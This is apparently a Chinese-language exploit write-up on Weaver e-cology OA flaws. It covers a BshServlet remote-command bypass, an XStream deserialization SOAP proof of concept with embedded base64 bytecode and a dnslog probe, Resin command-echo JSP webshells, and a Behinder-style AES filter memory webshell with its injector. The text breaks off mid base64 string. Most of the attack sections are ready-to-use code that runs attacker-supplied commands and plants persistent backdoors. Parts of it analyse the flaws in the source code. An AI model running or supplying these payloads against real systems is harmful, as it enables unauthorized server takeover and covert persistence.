BshServlet远程代码执行漏洞(CNVD-2019-32204)
泛微e-cology OA系统的Java Beanshell接口可被未授权访问,攻击者调用该Beanshell接口,可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行
直接在网站根目录后加入组件访问路径 /weaver/bsh.servlet.BshServlet/
绕过技巧:
bsh.script=eval%00("ex"%2b"ec(\"whoami\")");
bsh.script=ex\u0065c("whoami")
漏洞分析
源码下载地址:https://pan.baidu.com/s/1uk-B1lBQ7HszOAcJLXTnmQ,解压码:am2d
泛微OA默认安装使用Resin,且其默认配置启用了invoker servlet, 从Resin\conf\resin.xml
的配置文件中可以看到resin关于servlet的处理
访问/weaver/className
,就会根据类名调用CLASSPATH
下的servlet
我们可以看到在WEB-INF/lib目录下存在一个bsh-2[1].0b4.jar包
我们导入包并看到类bsh.servlet.BshServlet
,可以看到 doGet 方法从 getParameter 中接收到一些参数,然后整个Request请求会交给 evalScript 方法来进行处理
跟进 evalScript 方法,调用了bsh.Interpreter类的eval方法,执行了我们之前传入的字符串
跟进 bsh.Interpreter类的eval方法,发现该类最终调用了bsh.commands/exec.bsh脚本
该目录下的脚本都可以执行
Xstream反序列化漏洞
泛微E-cology OA系统的WorkflowServiceXml接口可被未授权访问,攻击者调用该接口,可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程代码执行
漏洞的URL为:/services%20/WorkflowServiceXml
漏洞利用
使用URLDNS进行探测:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string><map>   <entry>     <url>http://uo711j.dnslog.cn</url>     <string>http://uo711j.dnslog.cn</string>   </entry> </map></web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>
由于我们传入的内容会被当作一个参数传入,特殊字符会对原本的xml请求解析造成影响,因此需要进行html编码
命令执行poc:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string><java.util.PriorityQueue serialization="custom">   <unserializable-parents/>   <java.util.PriorityQueue>     <default>       <size>2</size>       <comparator class="org.apache.commons.beanutils.BeanComparator">         <property>outputProperties</property>         <comparator class="org.apache.commons.collections.comparators.ComparableComparator"/>       </comparator>     </default>     <int>3</int>     <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl serialization="custom">       <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>         <default>           <__name>Pwnr</__name>           <__bytecodes>             <byte-array>yv66vgAAADQAjwoACgA/CQAiAEAKAEEAQgoAQQBDCABECgBFAEYIADUHAEcKAAgASAcASQoASgBLBwBMCAAuCgAMAE0KAAwATgcATwsAEABQBwBRCgBSAFMHAFQKABQAPwgAVQoAFABWCgAUAFcKAFIAWAoAWQBaCgASAFsIAFwKABIAXQoAEgBeCgBfAGAHAGEKACAAYgcAYwcAZAEABGpha3kBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx5YW9zZXJpYWwvcGF5bG9hZHMvdXRpbC9UZXN0T2JqMTsBAAg8Y2xpbml0PgEAA2NtZAEAA3JlcAEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAANvdXQBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAJzaQEAEUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0Q29udGV4dFJlcXVlc3QBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAA3JlcQEAL0xjb20vY2F1Y2hvL3NlcnZlci9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdEltcGw7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAGEBAApTb3VyY2VGaWxlAQANVGVzdE9iajEuamF2YQwAJgAnDAAkACUHAGUMAGYAZwwAaABpAQAsY29tLmNhdWNoby5zZXJ2ZXIuZGlzcGF0Y2guU2VydmxldEludm9jYXRpb24HAGoMAGsAbAEAD2phdmEvbGFuZy9DbGFzcwwAbQBuAQAQamF2YS9sYW5nL09iamVjdAcAbwwAcABxAQAtY29tL2NhdWNoby9zZXJ2ZXIvaHR0cC9IdHRwU2VydmxldFJlcXVlc3RJbXBsDAByAHMMAHQAdQEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlDAB2AHcBABFqYXZhL3V0aWwvU2Nhbm5lcgcAeAwAeQB6AQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdjbWQgL2MgDAB7AHwMAH0AfgwAfwCABwCBDACCAIMMACYAhAEAAlxBDACFAIYMAIcAfgcAiAwAiQCKAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAiwAnAQAgeWFvc2VyaWFsL3BheWxvYWRzL3V0aWwvVGVzdE9iajEBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEmdldFNlcnZsZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA9wcmludFN0YWNrVHJhY2UBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwCMCgCNAD8AIQAiAI0AAQAjAAEACgAkACUAAAACAAEAJgAnAAEAKAAAAC8AAQABAAAABSq3AI6xAAAAAgApAAAABgABAAAABwAqAAAADAABAAAABQArACwAAAAIAC0AJwABACgAAAE5AAYABgAAAIMBswACuAADtgAEEgW2AAZLKhIHA70ACLYACUwrAQO9AAq2AAvAAAxNLBINtgAOxgBMLBINtgAOTiy2AA/AABA6BBkEuQARAQA6BRkFuwASWbgAE7sAFFm3ABUSFrYAFy22ABe2ABi2ABm2ABq3ABsSHLYAHbYAHrYAH6cACEsqtgAhsQABAAQAegB9ACAAAwApAAAAPgAPAAAACQAEAA0AEAAOABsADwAoABAAMQARADgAEgBBABMASgAUAHEAFQB3ABQAegAZAH0AFwB+ABgAggAaACoAAABIAAcAOABCAC4AJQADAEEAOQAvADAABABKADAAMQAyAAUAEABqADMANAAAABsAXwA1ADYAAQAoAFIANwA4AAIAfgAEADkAOgAAADsAAAAKAAP7AHpCBwA8BAABAD0AAAACAD4=</byte-array>             <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>           </__bytecodes>           <__transletIndex>-1</__transletIndex>           <__indentNumber>0</__indentNumber>         </default>         <boolean>false</boolean>       </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>     </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>     <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl reference="../com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"/>   </java.util.PriorityQueue> </java.util.PriorityQueue></web:string>
<web:string>2</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>
html解密可以看到使用了cb和cc链构造的,解密一下base64字节码可以看到回显代码如下:
package yaoserial.payloads.util;
import com.caucho.server.http.HttpServletRequestImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.PrintWriter;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.Scanner;
import javax.servlet.http.HttpServletResponse;
public class TestObj1 extends AbstractTranslet implements Serializable {
private static String jaky = null;
public TestObj1() {
}
static {
try {
Class si = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Method getContextRequest = si.getMethod("getContextRequest");
HttpServletRequestImpl req = (HttpServletRequestImpl)getContextRequest.invoke((Object)null);
if (req.getHeader("cmd") != null) {
String cmd = req.getHeader("cmd");
HttpServletResponse rep = (HttpServletResponse)req.getServletResponse();
PrintWriter out = rep.getWriter();
out.println((new Scanner(Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream())).useDelimiter("\\A").next());
}
} catch (Exception var6) {
var6.printStackTrace();
}
}
}
漏洞分析
首先我们看到WEB-INF\web.xml
,这里的org.codehaus.xfire.transport.http.XFireConfigurableServlet
类对应/services/*
跟进发现这个类继承了XFireServlet类,直接看到org.codehaus.xfire.transport.http.XFireServlet
类
servlet中post相当于触发doPost方法,看到调用了XFireServletController#doService
方法,跟进
getService方法获取服务名,也就是我们传入的WorkflowServiceXml,并且我们没有传wsdl,就会调用XFireServletController#invoke
方法
如果contentType不为空且不为multipart/related
时,就会处理request.getInputStream()
传入的soap消息,然后根据soap消息调用相关方法
在poc中,调用了WorkflowServiceImplXml#doCreateWorkflowRequest
方法
通过xmlToObject解析我们传入的var1参数,跟进XmlUtil#xmlToObject
可以看到最终调用了XStream.fromXML()
,这也就是XStream反序列化了,版本为xstream-1.3.jar
参考:
五一快乐-微某OA从0day流量分析到武器化利用
泛微Xstream反序列化漏洞分析
Resin回显以及内存马
漏洞后利用肯定离不开回显以及内存马,所以我们就来分析一下resin4.0相关的内存马
安装的时候踩了不少坑,按照网上的配置来即可,注意需要修改web.xml的代码为:
<?xml version="1.0" encoding="UTF-8"?>
<web-app version="2.4"
xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http:/java.sun.com/dtd/web-app_2_3.dtd">
</web-app>
Resin 4.x回显
我们先新建一个filter看一下调用栈
doFilter:17, HelloFilter (com.resin)
doFilter:89, FilterFilterChain (com.caucho.server.dispatch)
doFilter:156, WebAppFilterChain (com.caucho.server.webapp)
doFilter:95, AccessLogFilterChain (com.caucho.server.webapp)
service:314, ServletInvocation (com.caucho.server.dispatch)
handleRequest:845, HttpRequest (com.caucho.server.http)
dispatchRequest:1395, TcpSocketLink (com.caucho.network.listen)
handleRequest:1351, TcpSocketLink (com.caucho.network.listen)
handleRequestsImpl:1335, TcpSocketLink (com.caucho.network.listen)
handleRequests:1243, TcpSocketLink (com.caucho.network.listen)
handleAcceptTaskImpl:1037, TcpSocketLink (com.caucho.network.listen)
runThread:117, ConnectionTask (com.caucho.network.listen)
run:93, ConnectionTask (com.caucho.network.listen)
handleTasks:175, SocketLinkThreadLauncher (com.caucho.network.listen)
run:61, TcpSocketAcceptThread (com.caucho.network.listen)
runTasks:173, ResinThread2 (com.caucho.env.thread2)
run:118, ResinThread2 (com.caucho.env.thread2)
我们需要获取当前的request和response,我们知道这个 request 一般是存储在当前线程对象中,分析一下
看到HttpRequest储存在了 ThreadLocals 当中,那么回显就比较简单了,遍历当前线程并且匹配value为HttpRequest的值
因为这里HttpRequest继承了AbstractHttpRequest
我们就可以通过com.caucho.server.http.AbstractHttpRequest#getResponseFacade
返回 response 对象
回显代码如下:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="com.caucho.server.http.HttpRequest" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.Writer" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.util.Scanner" %>
<%
try {
Field f = Thread.currentThread().getClass().getSuperclass().getDeclaredField("threadLocals");
f.setAccessible(true);
Object obj = f.get(Thread.currentThread());
f = obj.getClass().getDeclaredField("table");
f.setAccessible(true);
obj = f.get(obj);
Object[] obj_arr = (Object[]) obj;
for(int i = 0; i < obj_arr.length; i++) {
Object o = obj_arr[i];
if (o == null) continue;
f = o.getClass().getDeclaredField("value");
f.setAccessible(true);
obj = f.get(o);
if(obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) {
HttpRequest httpRequest = (HttpRequest) obj;
Object httpResponse = httpRequest.getResponseFacade();
Method getWriterM = httpResponse.getClass().getMethod("getWriter");
Writer writer = (PrintWriter)getWriterM.invoke(httpResponse);
Method getHeaderM = httpRequest.getClass().getMethod("getHeader", String.class);
String cmd = (String)getHeaderM.invoke(httpRequest, "cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
Scanner scanner = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A");
writer.write(scanner.hasNext() ? scanner.next() : "");
}
}
} catch (Exception e) {
}
%>
还有一种方法也是常见的回显方式之一,就是有些中间件会把当前 request 对象存储在静态变量或者特定类里,可以通过反射获取该静态变量或特定类,然后获取 request 对象
ServletInvocation
这里找到类com.caucho.server.dispatch.ServletInvocation
看到它的getContextRequest方法
执行一下
Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
可以看到实际获取到的为HttpServletRequestImpl对象,然后通过_response
字段获取到response对象
回显思路
- 反射调用ServletInvocation.getContextRequest()获取HttpServletRequestImpl对象
- 反射获取_response字段得到response对象
- 反射调用reponse对象的getWriter方法获取PrintWriter对象
- 通过PrintWriter对象的write方法写入需回显内容
那么回显就很简单了(这里加上了resin3.0的回显):
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.Writer" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.util.Scanner" %>
<%
try{
Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
Field _responseF;
if(currentRequest.getClass().getName().contains("com.caucho.server.http.HttpRequest")){
// 3.x 需要从父类中获取
_responseF = currentRequest.getClass().getSuperclass().getDeclaredField("_response");
}else{
_responseF = currentRequest.getClass().getDeclaredField("_response");
}
_responseF.setAccessible(true);
Object currentResponse = _responseF.get(currentRequest);
Method getWriterM = currentResponse.getClass().getMethod("getWriter");
Writer writer = (PrintWriter)getWriterM.invoke(currentResponse);
Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class);
String cmd = (String)getHeaderM.invoke(currentRequest, "cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
Scanner scanner = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A");
writer.write(scanner.hasNext() ? scanner.next() : "");
} catch (Exception e) {
}
%>
TcpSocketLink
还存在一个类:com.caucho.network.listen.TcpSocketLink#getCurrentRequest
发现获取到的request对象为HttpRequest类型
我们可以调用getResponseFacade()
方法获取response对象
回显思路:
- 通过调用TcpSocketLink.getCurrentRequest()获取ProtocolConnection对象(实际HttpRequest)
- 通过调用其父类(AbstractHttpRequest)的getResponseFacade方法获取response对象
- 通过反射调用reponse对象的getWriter方法获取PrintWriter对象
- 通过PrintWriter对象的write方法写入回显内容
回显代码如下:
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.Writer" %>
<%@ page import="java.util.Scanner" %>
<%
try{
Class tcpSocketLinkClazz = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.network.listen.TcpSocketLink");
Method getCurrentRequestM = tcpSocketLinkClazz.getMethod("getCurrentRequest");
Object currentRequest = getCurrentRequestM.invoke(null);
Field f = currentRequest.getClass().getSuperclass().getDeclaredField("_responseFacade");
f.setAccessible(true);
Object currentResponse = f.get(currentRequest);
Method getWriterM = currentResponse.getClass().getMethod("getWriter");
Writer writer = (Writer) getWriterM.invoke(currentResponse);
Method getHeaderM = currentRequest.getClass().getMethod("getHeader", String.class);
String cmd = (String) getHeaderM.invoke(currentRequest, "cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
Scanner scanner = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A");
writer.write(scanner.hasNext() ? scanner.next() : "");
} catch (Exception e) {
}
%>
Resin 4.x内存马
我们获取HttpServletRequestImpl之后,可以通过getWebApp()方法获取WebApp
Object currentRequest = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation").getMethod("getContextRequest").invoke(null);
WebApp webApp = (WebApp)currentRequest.getClass().getMethod("getWebApp").invoke(currentRequest);
可以看到WebApp属性包含了_filterMapper
,_filterMap
以List的形式存储FilterMapping对象,FilterMapping存储着URL和filter的对应关系
注入思路
- 获取当前环境的WebApp(上下文)
- 构造filterMapping,添加相关配置
- 调用成员方法addFilterMapping添加该filterMapping即可
先写一个冰蝎的filter:
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Method;
import java.util.HashMap;
public class RebeyondFilter extends HttpServlet implements Filter {
public void init(FilterConfig config){
}
public void destroy() {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain){
try {
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpSession session = request.getSession();
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
String k = "e45e329feb5d925b";
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
filterChain.doFilter(request,response);
}catch (Exception e){
e.printStackTrace();
}
}
}
将class字节码编码为base64格式,然后注入我们的内存马
import com.caucho.server.dispatch.FilterMapping;
import com.caucho.server.webapp.WebApp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;
import java.lang.reflect.Method;
public class Resin_filter extends AbstractTranslet implements Serializable {
static {
try {
Class servletInvocation = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Object httpRequetst = servletInvocation.getMethod("getContextRequest").invoke(null);
WebApp webApp = (WebApp) httpRequetst.getClass().getMethod("getWebApp").invoke(httpRequetst);
byte[] evilBytes = java.util.Base64.getDecoder().decode("yv66vgAAADQAugoALQBbBwBcBwBdCwADAF4HAF8KAAUAWwgAPwoABQBgCAA9CABBCABhCABiCwBjAGQIAGUKAGYAZwcAaAoAaQBqCgAQAGsKAGYAbAgAbQoAFwBuCABvBwBwBwBMCQBxAHIKABcAcwoAdAB1BwB2CgAcAFsLAAMAdwoAeAB5CgAcAHoKAGYAewoAJAB8CgAXAH0HAH4KAHEAfwoAdACACgAXAIEKACQAggsAgwCEBwCFCgAqAIYHAIcHAIgHAIkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGkxjb20vcmVzaW4vUmViZXlvbmRGaWx0ZXI7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAZjb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAHZGVzdHJveQEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAdzZXNzaW9uAQAgTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAAtwYWdlQ29udGV4dAEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAAFrAQASTGphdmEvbGFuZy9TdHJpbmc7AQABYwEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABm1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXZpbGNsYXNzX2J5dGUBAAJbQgEACWV2aWxjbGFzcwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADnNlcnZsZXRSZXF1ZXN0AQAeTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQAPc2VydmxldFJlc3BvbnNlAQAfTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAC2ZpbHRlckNoYWluAQAbTGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47AQANU3RhY2tNYXBUYWJsZQcAhQEAClNvdXJjZUZpbGUBABNSZWJleW9uZEZpbHRlci5qYXZhDAAvADABACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QMAIoAiwEAEWphdmEvdXRpbC9IYXNoTWFwDACMAI0BABBlNDVlMzI5ZmViNWQ5MjViAQABdQcAjgwAjwCQAQADQUVTBwCRDACSAJMBAB9qYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjBwCUDACVAJYMAC8AlwwANgCYAQAVamF2YS5sYW5nLkNsYXNzTG9hZGVyDACZAJoBAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwcAmwwAnABODACdAJ4HAJ8MAKAAoQEAFnN1bi9taXNjL0JBU0U2NERlY29kZXIMAKIAowcApAwApQCmDACnAKgMAKkAqgwAqwCsDACtAK4BABBqYXZhL2xhbmcvT2JqZWN0DACvALAMALEAsgwAswC0DAC1ALYHALcMADsAuAEAE2phdmEvbGFuZy9FeGNlcHRpb24MALkAMAEAGGNvbS9yZXNpbi9SZWJleW9uZEZpbHRlcgEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldAEAFGphdmF4L3NlcnZsZXQvRmlsdGVyAQAKZ2V0U2Vzc2lvbgEAIigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbjsBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2Vzc2lvbgEACHB1dFZhbHVlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABBqYXZhL2xhbmcvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAlnZXRSZWFkZXIBABooKUxqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEAD3ByaW50U3RhY2tUcmFjZQAhACwALQABAC4AAAAEAAEALwAwAAEAMQAAAC8AAQABAAAABSq3AAGxAAAAAgAyAAAABgABAAAADQAzAAAADAABAAAABQA0ADUAAAABADYANwABADEAAAA1AAAAAgAAAAGxAAAAAgAyAAAABgABAAAADwAzAAAAFgACAAAAAQA0ADUAAAAAAAEAOAA5AAEAAQA6ADAAAQAxAAAAKwAAAAEAAAABsQAAAAIAMgAAAAYAAQAAABIAMwAAAAwAAQAAAAEANAA1AAAAAQA7ADwAAQAxAAACBQAGAA0AAADyLMAAAjoEK8AAAzoFGQW5AAQBADoGuwAFWbcABjoHGQcSBxkFtg